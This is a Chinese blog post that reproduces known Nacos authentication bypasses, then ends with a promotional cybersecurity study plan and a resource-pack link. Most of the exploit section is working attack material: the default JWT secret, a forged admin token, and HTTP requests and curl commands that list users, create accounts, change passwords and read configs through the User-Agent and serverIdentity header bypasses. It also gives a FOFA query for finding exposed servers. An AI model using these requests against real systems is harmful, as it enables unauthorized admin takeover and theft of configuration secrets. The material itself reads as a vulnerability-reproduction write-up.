Nacos漏洞总结复现
Nacos漏洞总结复现
一、Nacos默认key导致权限绕过登陆
0x00 漏洞描述
Nacos中发现影响Nacos <= 2.1.0的问题,Nacos用户使用默认JWT密钥导致未授权访问漏洞。 通过该漏洞,攻击者可以绕过用户名密码认证,直接登录Nacos用户
0x01 漏洞影响
0.1.0 <= Nacos <= 2.2.0
0x02 漏洞搜索
fofa:app=“NACOS”
0x03 漏洞复现
在nacos中,token.secret.key值是固定死的,位置在conf下的application.properties中:
nacos.core.auth.plugin.nacos.token.secret.key=SecretKey012345678901234567890123456789012345678901234567890123456789
利用该默认key可进行jwt构造,直接进入后台,构造方法:
在https://jwt.io/中:输入默认key:
SecretKey012345678901234567890123456789012345678901234567890123456789
然后再payload里面输入:
{
“sub”: “nacos”,
“exp”: 1678899909
}
在这里注意:1678899909这个值是unix时间戳,换算一下,要比你系统当前的时间更晚,比如当前的时间是2023年03月15日22:11:09,在这里面的时间戳时间是3月16号了:
注意:
以下是伪造JWT值绕过权限的测试结果
1、延长时间戳,POST 密码错误,用户名正确 ✅
2、延长时间戳,POST 密码错误,用户名错误 ✅
3、删除时间戳,POST 密码错误,用户名错误 ✅
复制上面得到的值,在burp里面选择登录之后构造:
eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJzdWIiOiJuYWNvcyIsImV4cCI6MTY3ODg5OTkwOX0.Di28cDY76JCvTMsgiim12c4pukjUuoBz6j6dstUKO7s
方框里面需要自行添加:
POST /nacos/v1/auth/users/login HTTP/1.1
Host: 10.211.55.5:8848
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:104.0) Gecko/20100101 Firefox/104.0
Accept: application/json, text/plain, */*
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Accept-Encoding: gzip, deflate
Content-Type: application/x-www-form-urlencoded
Content-Length: 33
Origin: http://10.211.55.5:8848
Connection: close
Referer: http://10.211.55.5:8848/nacos/index.html
Authorization: Bearer eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJzdWIiOiJuYWNvcyIsImV4cCI6MTY3ODg5OTkwOX0.Di28cDY76JCvTMsgiim12c4pukjUuoBz6j6dstUKO7s
username=crowsec&password=crowsec
此时就得到了token信息:
HTTP/1.1 200
Vary: Origin
Vary: Access-Control-Request-Method
Vary: Access-Control-Request-Headers
Content-Security-Policy: script-src ‘self’
Set-Cookie: JSESSIONID=D90CF6E5B233685E4A39C1B1BDA9F185; Path=/nacos; HttpOnly
Authorization: Bearer eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJzdWIiOiJuYWNvcyIsImV4cCI6MTY3ODg5OTkwOX0.Di28cDY76JCvTMsgiim12c4pukjUuoBz6j6dstUKO7s
Content-Type: application/json
Date: Wed, 15 Mar 2023 14:13:22 GMT
Connection: close
Content-Length: 197
{“accessToken”:“eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJzdWIiOiJuYWNvcyIsImV4cCI6MTY3ODg5OTkwOX0.Di28cDY76JCvTMsgiim12c4pukjUuoBz6j6dstUKO7s”,“tokenTtl”:18000,“globalAdmin”:true,“username”:“nacos”}
此时就得到了nacos的token信息。
如何登录呢,在这里需要用假账号登录之后,再修改返回包就行了,试试看:
先用假账号登录,用burp拦截:
这肯定进不去的,在这里修改返回包,右键看下这个:
然后Forward,这边返回的信息肯定是无效的:
在这里使用刚刚burp里面生成的返回包进行替换,全部复制过去:
再forward一次:
此时就已经进去了:
3.使用默认密钥生成的JWT查看当前用户名和密码
GET /nacos/v1/auth/users?accessToken=eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJzdWIiOiJuYWNvcyIsImV4cCI6MTY3ODg5OTkwOX0.Di28cDY76JCvTMsgiim12c4pukjUuoBz6j6dstUKO7s&pageNo=1&pageSize=9 HTTP/1.1
Host: {{Hostname}}
User-Agent: Mozilla/5.0
Accept-Encoding: gzip, deflate
Connection: close
If-Modified-Since: Wed, 15 Feb 2023 10:45:10 GMT
Upgrade-Insecure-Requests: 1
accessToken: eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJzdWIiOiJuYWNvcyIsImV4cCI6MTY3ODg5OTkwOX0.Di28cDY76JCvTMsgiim12c4pukjUuoBz6j6dstUKO7s
4.利用默认密钥,添加hellonacos用户密码为hellonacos,创建成功
POST /nacos/v1/auth/users HTTP/1.1
Host: {{Hostname}}
User-Agent: Mozilla/5.0
Authorization: Bearer eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJzdWIiOiJuYWNvcyIsImV4cCI6MTY3ODg5OTkwOX0.Di28cDY76JCvTMsgiim12c4pukjUuoBz6j6dstUKO7s
Accept-Encoding: gzip, deflate
Connection: close
Upgrade-Insecure-Requests: 1
If-Modified-Since: Wed, 15 Feb 2023 10:45:10 GMT
Content-Type: application/x-www-form-urlencoded
Content-Length: 39
username=hellonacos&password=hellonacos
二、Nacos默认配置未授权访问漏洞
http://10.10.84.207:8848/nacos/v1/auth/users?pageNo=1&pageSize=9&search=accurate&accessToken
http://your_ip:8848/nacos/v1/auth/users/?pageNo=1&pageSize=9
三、 Nacos2.2.0权限绕过
Header中添加serverIdentity: security能直接绕过身份验证查看用户列表
如果没有或者不对应则返回403
四、Nacos1.x.x版本User-Agent权限绕过((CVE-2021-29441)
0x01 漏洞描述
在 1.4.1 及更早版本的 Nacos 中,当配置为使用身份验证 (Dnacos.core.auth.enabled=true) 时,会使用 AuthFilter servlet 过滤器来强制实施身份验证,从而跳过身份验证检查。此机制依赖于用户代理 HTTP 标头,因此很容易被欺骗。此问题可能允许任何用户在 Nacos 服务器上执行任何管理任务。
0x02 环境搭建
docker run -d -p 8848:8848 hglight/cve-2021-29441
0x03 漏洞影响
Nacos <= 1.4.1
0x04 漏洞复现
```
1.修改User-Agent的值为Nacos-Server到请求包中,
添
加Header头后访问
http://target:8848/nacos/v1/auth/users?pageNo=1&pageSize=9
可以看到返回值为200,且内容中是否包含
pageItems
GET /nacos/v1/auth/users/?pageNo=1&pageSize=9 HTTP/1.1
[](https://blog.csdn.net/m0_64910183/article/details/130144800?spm=1001.2014.3001.5502)Host: 192.168.246.138:8848
[](https://blog.csdn.net/m0_64910183/article/details/130144800?spm=1001.2014.3001.5502)User-Agent: Nacos-Server
![](https://img-blog.csdnimg.cn/img_convert/870c929ad4b75f75daa1722406a0d643.png)
或者使用命令访问:
读取用户密码:
curl
'http://127.0.0.1:8848/nacos/v1/auth/users?pageNo=1&pageSize=9&accessToken=' -H
'User-Agent: Nacos-Server'
curl 'http://127.0.0.1:8848/nacos/v1/auth/users?pageNo=1&pageSize=9&
search=blur' -H 'User-Agent: Nacos-Server'
curl 'http://127.0.0.1:8848/nacos/v1/auth/users?pageNo=1&pageSize=9&
search=accurate' -H 'User-Agent: Nacos-Server'
未授权添加用户
curl -X POST 'http://127.0.0.1:8848/nacos/v1/auth/users?username=test1&password=test1' -H 'User-Agent:Nacos-Server
任意用户密码更改
curl -X PUT 'http://127.0.0.1:8848/nacos/v1/auth/users?accessToken=' -H 'User-Agent:Nacos-Server' -d 'username=test1&newPassword=test2'
读取配置文件
curl -X GET 'http://127.0.0.1:8848/nacos/v1/cs/configs?search=accurate&dataId=&group=&pageNo=1&pageSize=99’
curl -X GET 'http://127.0.0.1:8848/nacos/v1/cs/configs?search=blur&dataId=&group=&pageNo=1&pageSize=99’
添加Header头后使用POST方式请求http://target:8848/nacos/v1/auth/users?username=vulhub&password=vulhub添加一个新用户,账号密码都为vulhub
POST
/nacos/v1/auth/users?username=hglight&password=hglight
HTTP
/
1.1
[](https://blog.csdn.net/m0_64910183/article/details/130144800?spm=1001.2014.3001.5502)
Host
:
192.168.246.138:8848
[](https://blog.csdn.net/m0_64910183/article/details/130144800?spm=1001.2014.3001.5502)
User-Agent
:
Nacos-Server
或者
POST /nacos/v1/auth/users HTTP/1.1
Host: 192.168.31.64:8848
Cache-Control: max-age=0
Upgrade-Insecure-Requests: 1
User-Agent: Nacos-Server
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9
Connection: close
Content-Type: application/x-www-form-urlencoded
Content-Length: 27
username=hglight&password=hglight
![](https://img-blog.csdnimg.cn/img_convert/78e5b89809ae9e233bf4518be4274adb.png)
再次查看用户列表,返回的用户列表数据中,多了一个我们通过绕过鉴权创建的新用户
```
[](https://blog.csdn.net/m0_64910183/article/details/130144800?spm=1001.2014.3001.5502)GET /nacos/v1/auth/users/?pageNo=1&pageSize=9 HTTP/1.1
[](https://blog.csdn.net/m0_64910183/article/details/130144800?spm=1001.2014.3001.5502)Host: 192.168.246.138:8848
[](https://blog.csdn.net/m0_64910183/article/details/130144800?spm=1001.2014.3001.5502)User-Agent: Nacos-Server
接下来我将给各位同学划分一张学习计划表!
学习计划
那么问题又来了,作为萌新小白,我应该先学什么,再学什么?
既然你都问的这么直白了,我就告诉你,零基础应该从什么开始学起:
阶段一:初级网络安全工程师
接下来我将给大家安排一个为期1个月的网络安全初级计划,当你学完后,你基本可以从事一份网络安全相关的工作,比如渗透测试、Web渗透、安全服务、安全分析等岗位;其中,如果你等保模块学的好,还可以从事等保工程师。
综合薪资区间6k~15k
1、网络安全理论知识(2天)
①了解行业相关背景,前景,确定发展方向。
②学习网络安全相关法律法规。
③网络安全运营的概念。
④等保简介、等保规定、流程和规范。(非常重要)
2、渗透测试基础(1周)
①渗透测试的流程、分类、标准
②信息收集技术:主动/被动信息搜集、Nmap工具、Google Hacking
③漏洞扫描、漏洞利用、原理,利用方法、工具(MSF)、绕过IDS和反病毒侦察
④主机攻防演练:MS17-010、MS08-067、MS10-046、MS12-20等
3、操作系统基础(1周)
①Windows系统常见功能和命令
②Kali Linux系统常见功能和命令
③操作系统安全(系统入侵排查/系统加固基础)
4、计算机网络基础(1周)
①计算机网络基础、协议和架构
②网络通信原理、OSI模型、数据转发流程
③常见协议解析(HTTP、TCP/IP、ARP等)
④网络攻击技术与网络安全防御技术
⑤Web漏洞原理与防御:主动/被动攻击、DDOS攻击、CVE漏洞复现
5、数据库基础操作(2天)
①数据库基础
②SQL语言基础
③数据库安全加固
6、Web渗透(1周)
①HTML、CSS和JavaScript简介
②OWASP Top10
③Web漏洞扫描工具
④Web渗透工具:Nmap、BurpSuite、SQLMap、其他(菜刀、漏扫等)
那么,到此为止,已经耗时1个月左右。你已经成功成为了一名“脚本小子”。那么你还想接着往下探索吗?
阶段二:中级or高级网络安全工程师(看自己能力)
综合薪资区间15k~30k
7、脚本编程学习(4周)
在网络安全领域。是否具备编程能力是“脚本小子”和真正网络安全工程师的本质区别。在实际的渗透测试过程中,面对复杂多变的网络环境,当常用工具不能满足实际需求的时候,往往需要对现有工具进行扩展,或者编写符合我们要求的工具、自动化脚本,这个时候就需要具备一定的编程能力。在分秒必争的CTF竞赛中,想要高效地使用自制的脚本工具来实现各种目的,更是需要拥有编程能力。
零基础入门的同学,我建议选择脚本语言Python/PHP/Go/Java中的一种,对常用库进行编程学习
搭建开发环境和选择IDE,PHP环境推荐Wamp和XAMPP,IDE强烈推荐Sublime;
Python编程学习,学习内容包含:语法、正则、文件、 网络、多线程等常用库,推荐《Python核心编程》,没必要看完
用Python编写漏洞的exp,然后写一个简单的网络爬虫
PHP基本语法学习并书写一个简单的博客系统
熟悉MVC架构,并试着学习一个PHP框架或者Python框架 (可选)
了解Bootstrap的布局或者CSS。
阶段三:顶级网络安全工程师
学习资料分享
当然,只给予计划不给予学习资料的行为无异于耍流氓,这里给大家整理了一份完整版的网络安全(嘿客)全套学习资料已经上传至CSDN官方,朋友们如果需要点击下方链接也可扫描下方微信二v码获取网络工程师全套资料【保证100%免费】
如果你对网络安全入门感兴趣,那么你点击这里👉CSDN大礼包:《黑客&网络安全入门&进阶学习资源包》免费分享
更多推荐
所有评论(0)